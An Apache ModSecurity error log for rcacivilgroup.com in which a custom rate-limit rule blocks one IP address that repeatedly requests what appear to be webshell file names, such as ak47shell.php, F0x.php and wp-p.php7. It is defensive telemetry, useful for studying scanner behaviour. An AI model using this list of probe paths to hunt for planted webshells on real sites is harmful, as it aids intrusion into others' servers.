[Mon Apr 13 03:11:53.065107 2026] [:error] [pid 31606:tid 31712] [client 20.151.218.28:24501] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ak47shell.php"] [unique_id "advueT9vCsshNhLmCiCOOQAAAEY"]
[Mon Apr 13 03:11:53.477317 2026] [:error] [pid 31607:tid 31744] [client 20.151.218.28:24390] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ak47shell.php"] [unique_id "advueWjn_I-KYTWngjJN_gAAAIc"]
[Mon Apr 13 03:11:53.966446 2026] [:error] [pid 54671:tid 54687] [client 20.151.218.28:24445] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ok.php"] [unique_id "advueWyJMmaONUqF0tCrTwAAAQw"]
[Mon Apr 13 03:11:54.544960 2026] [:error] [pid 54671:tid 54698] [client 20.151.218.28:24344] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ok.php"] [unique_id "advuemyJMmaONUqF0tCrVQAAARc"]
[Mon Apr 13 03:11:55.247906 2026] [:error] [pid 54671:tid 54675] [client 20.151.218.28:24345] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ok.php"] [unique_id "advue2yJMmaONUqF0tCrWwAAAQA"]
[Mon Apr 13 03:11:56.311205 2026] [:error] [pid 31606:tid 31713] [client 20.151.218.28:24469] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ok.php"] [unique_id "advufD9vCsshNhLmCiCOQAAAAEc"]
[Mon Apr 13 03:11:56.885132 2026] [:error] [pid 32010:tid 32020] [client 20.151.218.28:24280] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/log404.php"] [unique_id "advufA0nq-t9pXyV1fy-ZAAAAMg"]
[Mon Apr 13 03:11:57.382107 2026] [:error] [pid 54671:tid 54678] [client 20.151.218.28:24274] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/log404.php"] [unique_id "advufWyJMmaONUqF0tCrXgAAAQM"]
[Mon Apr 13 03:11:57.978316 2026] [:error] [pid 31605:tid 31657] [client 20.151.218.28:24509] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/log404.php"] [unique_id "advufW9Py-Y-9VQ02eHewQAAAA4"]
[Mon Apr 13 03:11:58.404884 2026] [:error] [pid 54671:tid 54677] [client 20.151.218.28:24295] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/log404.php"] [unique_id "advufmyJMmaONUqF0tCrYAAAAQI"]
[Mon Apr 13 03:11:58.846424 2026] [:error] [pid 31605:tid 31664] [client 20.151.218.28:24554] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wh.php"] [unique_id "advufm9Py-Y-9VQ02eHewgAAABU"]
[Mon Apr 13 03:11:59.318631 2026] [:error] [pid 32010:tid 32036] [client 20.151.218.28:24341] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wh.php"] [unique_id "advufw0nq-t9pXyV1fy-aAAAANg"]
[Mon Apr 13 03:11:59.763362 2026] [:error] [pid 54671:tid 54682] [client 20.151.218.28:24299] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wh.php"] [unique_id "advuf2yJMmaONUqF0tCraQAAAQc"]
[Mon Apr 13 03:12:00.189121 2026] [:error] [pid 54671:tid 54698] [client 20.151.218.28:24418] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wh.php"] [unique_id "advugGyJMmaONUqF0tCrawAAARc"]
[Mon Apr 13 03:12:00.651158 2026] [:error] [pid 31607:tid 31752] [client 20.151.218.28:24443] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/luf.php"] [unique_id "advugGjn_I-KYTWngjJOBwAAAI8"]
[Mon Apr 13 03:12:01.100308 2026] [:error] [pid 32010:tid 32014] [client 20.151.218.28:24362] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/luf.php"] [unique_id "advugQ0nq-t9pXyV1fy-awAAAMI"]
[Mon Apr 13 03:12:01.517548 2026] [:error] [pid 54671:tid 54695] [client 20.151.218.28:24426] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/luf.php"] [unique_id "advugWyJMmaONUqF0tCrcAAAARQ"]
[Mon Apr 13 03:12:01.975359 2026] [:error] [pid 54671:tid 54682] [client 20.151.218.28:24388] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/luf.php"] [unique_id "advugWyJMmaONUqF0tCrdQAAAQc"]
[Mon Apr 13 03:12:02.409887 2026] [:error] [pid 54671:tid 54683] [client 20.151.218.28:24296] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bs2.php"] [unique_id "advugmyJMmaONUqF0tCreAAAAQg"]
[Mon Apr 13 03:12:02.923465 2026] [:error] [pid 31605:tid 31659] [client 20.151.218.28:24508] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bs2.php"] [unique_id "advugm9Py-Y-9VQ02eHexAAAABA"]
[Mon Apr 13 03:12:03.436908 2026] [:error] [pid 54671:tid 54685] [client 20.151.218.28:24288] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bs2.php"] [unique_id "advug2yJMmaONUqF0tCrfgAAAQo"]
[Mon Apr 13 03:12:03.953781 2026] [:error] [pid 54671:tid 54695] [client 20.151.218.28:24511] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bs2.php"] [unique_id "advug2yJMmaONUqF0tCrgQAAARQ"]
[Mon Apr 13 03:12:04.591881 2026] [:error] [pid 31605:tid 31656] [client 20.151.218.28:24275] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wf.php"] [unique_id "advuhG9Py-Y-9VQ02eHexwAAAA0"]
[Mon Apr 13 03:12:05.158079 2026] [:error] [pid 31607:tid 31743] [client 20.151.218.28:24304] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wf.php"] [unique_id "advuhWjn_I-KYTWngjJOCQAAAIY"]
[Mon Apr 13 03:12:05.817501 2026] [:error] [pid 31606:tid 31708] [client 20.151.218.28:24367] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wf.php"] [unique_id "advuhT9vCsshNhLmCiCOTAAAAEI"]
[Mon Apr 13 03:12:06.272355 2026] [:error] [pid 31605:tid 31660] [client 20.151.218.28:24351] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wf.php"] [unique_id "advuhm9Py-Y-9VQ02eHezAAAABE"]
[Mon Apr 13 03:12:06.789529 2026] [:error] [pid 32010:tid 32013] [client 20.151.218.28:24371] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vcard.php"] [unique_id "advuhg0nq-t9pXyV1fy-bgAAAME"]
[Mon Apr 13 03:12:07.258814 2026] [:error] [pid 31607:tid 31739] [client 20.151.218.28:24422] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vcard.php"] [unique_id "advuh2jn_I-KYTWngjJODgAAAII"]
[Mon Apr 13 03:12:07.892209 2026] [:error] [pid 54671:tid 54686] [client 20.151.218.28:24518] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vcard.php"] [unique_id "advuh2yJMmaONUqF0tCrkAAAAQs"]
[Mon Apr 13 03:12:08.350311 2026] [:error] [pid 31605:tid 31667] [client 20.151.218.28:24330] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vcard.php"] [unique_id "advuiG9Py-Y-9VQ02eHezgAAABg"]
[Mon Apr 13 03:12:08.811805 2026] [:error] [pid 32010:tid 32021] [client 20.151.218.28:24435] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/file2.php"] [unique_id "advuiA0nq-t9pXyV1fy-cgAAAMk"]
[Mon Apr 13 03:12:09.224876 2026] [:error] [pid 32010:tid 32031] [client 20.151.218.28:24364] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/file2.php"] [unique_id "advuiQ0nq-t9pXyV1fy-dAAAANM"]
[Mon Apr 13 03:12:09.776436 2026] [:error] [pid 54671:tid 54690] [client 20.151.218.28:24260] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/file2.php"] [unique_id "advuiWyJMmaONUqF0tCrlgAAAQ8"]
[Mon Apr 13 03:12:11.165116 2026] [:error] [pid 32010:tid 32030] [client 20.151.218.28:24366] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/file2.php"] [unique_id "advuiw0nq-t9pXyV1fy-fAAAANI"]
[Mon Apr 13 03:12:11.596310 2026] [:error] [pid 32010:tid 32033] [client 20.151.218.28:24332] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ddgg.php"] [unique_id "advuiw0nq-t9pXyV1fy-fgAAANU"]
[Mon Apr 13 03:12:12.027432 2026] [:error] [pid 31605:tid 31659] [client 20.151.218.28:24498] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ddgg.php"] [unique_id "advujG9Py-Y-9VQ02eHe1gAAABA"]
[Mon Apr 13 03:12:12.516550 2026] [:error] [pid 31606:tid 31708] [client 20.151.218.28:24273] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ddgg.php"] [unique_id "advujD9vCsshNhLmCiCOUQAAAEI"]
[Mon Apr 13 03:12:13.025492 2026] [:error] [pid 31607:tid 31752] [client 20.151.218.28:24389] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ddgg.php"] [unique_id "advujWjn_I-KYTWngjJOFAAAAI8"]
[Mon Apr 13 03:12:13.438299 2026] [:error] [pid 31607:tid 31755] [client 20.151.218.28:24575] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rc.php7"] [unique_id "advujWjn_I-KYTWngjJOFgAAAJI"]
[Mon Apr 13 03:12:13.874118 2026] [:error] [pid 31605:tid 31666] [client 20.151.218.28:24486] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rc.php7"] [unique_id "advujW9Py-Y-9VQ02eHe2AAAABc"]
[Mon Apr 13 03:12:14.377521 2026] [:error] [pid 32010:tid 32014] [client 20.151.218.28:24336] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rc.php7"] [unique_id "advujg0nq-t9pXyV1fy-hQAAAMI"]
[Mon Apr 13 03:12:14.824246 2026] [:error] [pid 31605:tid 31652] [client 20.151.218.28:24428] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rc.php7"] [unique_id "advujm9Py-Y-9VQ02eHe2QAAAAk"]
[Mon Apr 13 03:12:15.269845 2026] [:error] [pid 54671:tid 54690] [client 20.151.218.28:24406] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/indo.php"] [unique_id "advuj2yJMmaONUqF0tCrmwAAAQ8"]
[Mon Apr 13 03:12:15.740794 2026] [:error] [pid 31605:tid 31663] [client 20.151.218.28:24363] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/indo.php"] [unique_id "advuj29Py-Y-9VQ02eHe3AAAABQ"]
[Mon Apr 13 03:12:23.935104 2026] [:error] [pid 31605:tid 31655] [client 20.151.218.28:24306] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/F0x.php"] [unique_id "advul29Py-Y-9VQ02eHe8wAAAAw"]
[Mon Apr 13 03:12:24.418903 2026] [:error] [pid 54671:tid 54693] [client 20.151.218.28:24374] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/F0x.php"] [unique_id "advumGyJMmaONUqF0tCrowAAARI"]
[Mon Apr 13 03:12:25.297156 2026] [:error] [pid 31605:tid 31651] [client 20.151.218.28:24293] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/F0x.php"] [unique_id "advumW9Py-Y-9VQ02eHe9wAAAAg"]
[Mon Apr 13 03:12:25.882349 2026] [:error] [pid 31605:tid 31645] [client 20.151.218.28:24294] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/F0x.php"] [unique_id "advumW9Py-Y-9VQ02eHe-gAAAAI"]
[Mon Apr 13 03:12:26.413289 2026] [:error] [pid 31605:tid 31662] [client 20.151.218.28:24310] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rlpc.php"] [unique_id "advumm9Py-Y-9VQ02eHe_QAAABM"]
[Mon Apr 13 03:12:27.349303 2026] [:error] [pid 32010:tid 32013] [client 20.151.218.28:24342] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rlpc.php"] [unique_id "advumw0nq-t9pXyV1fy-ogAAAME"]
[Mon Apr 13 03:12:28.207938 2026] [:error] [pid 32010:tid 32012] [client 20.151.218.28:24369] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rlpc.php"] [unique_id "advunA0nq-t9pXyV1fy-pQAAAMA"]
[Mon Apr 13 03:12:28.759120 2026] [:error] [pid 32010:tid 32016] [client 20.151.218.28:24575] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rlpc.php"] [unique_id "advunA0nq-t9pXyV1fy-qAAAAMQ"]
[Mon Apr 13 03:12:29.226526 2026] [:error] [pid 54671:tid 54683] [client 20.151.218.28:24350] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-p.php7"] [unique_id "advunWyJMmaONUqF0tCrtAAAAQg"]
[Mon Apr 13 03:12:29.710298 2026] [:error] [pid 54671:tid 54682] [client 20.151.218.28:24510] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-p.php7"] [unique_id "advunWyJMmaONUqF0tCrugAAAQc"]
[Mon Apr 13 03:12:30.384081 2026] [:error] [pid 32010:tid 32032] [client 20.151.218.28:24258] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-p.php7"] [unique_id "advung0nq-t9pXyV1fy-rwAAANQ"]
[Mon Apr 13 03:12:31.047441 2026] [:error] [pid 32010:tid 32026] [client 20.151.218.28:24419] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-p.php7"] [unique_id "advunw0nq-t9pXyV1fy-swAAAM4"]
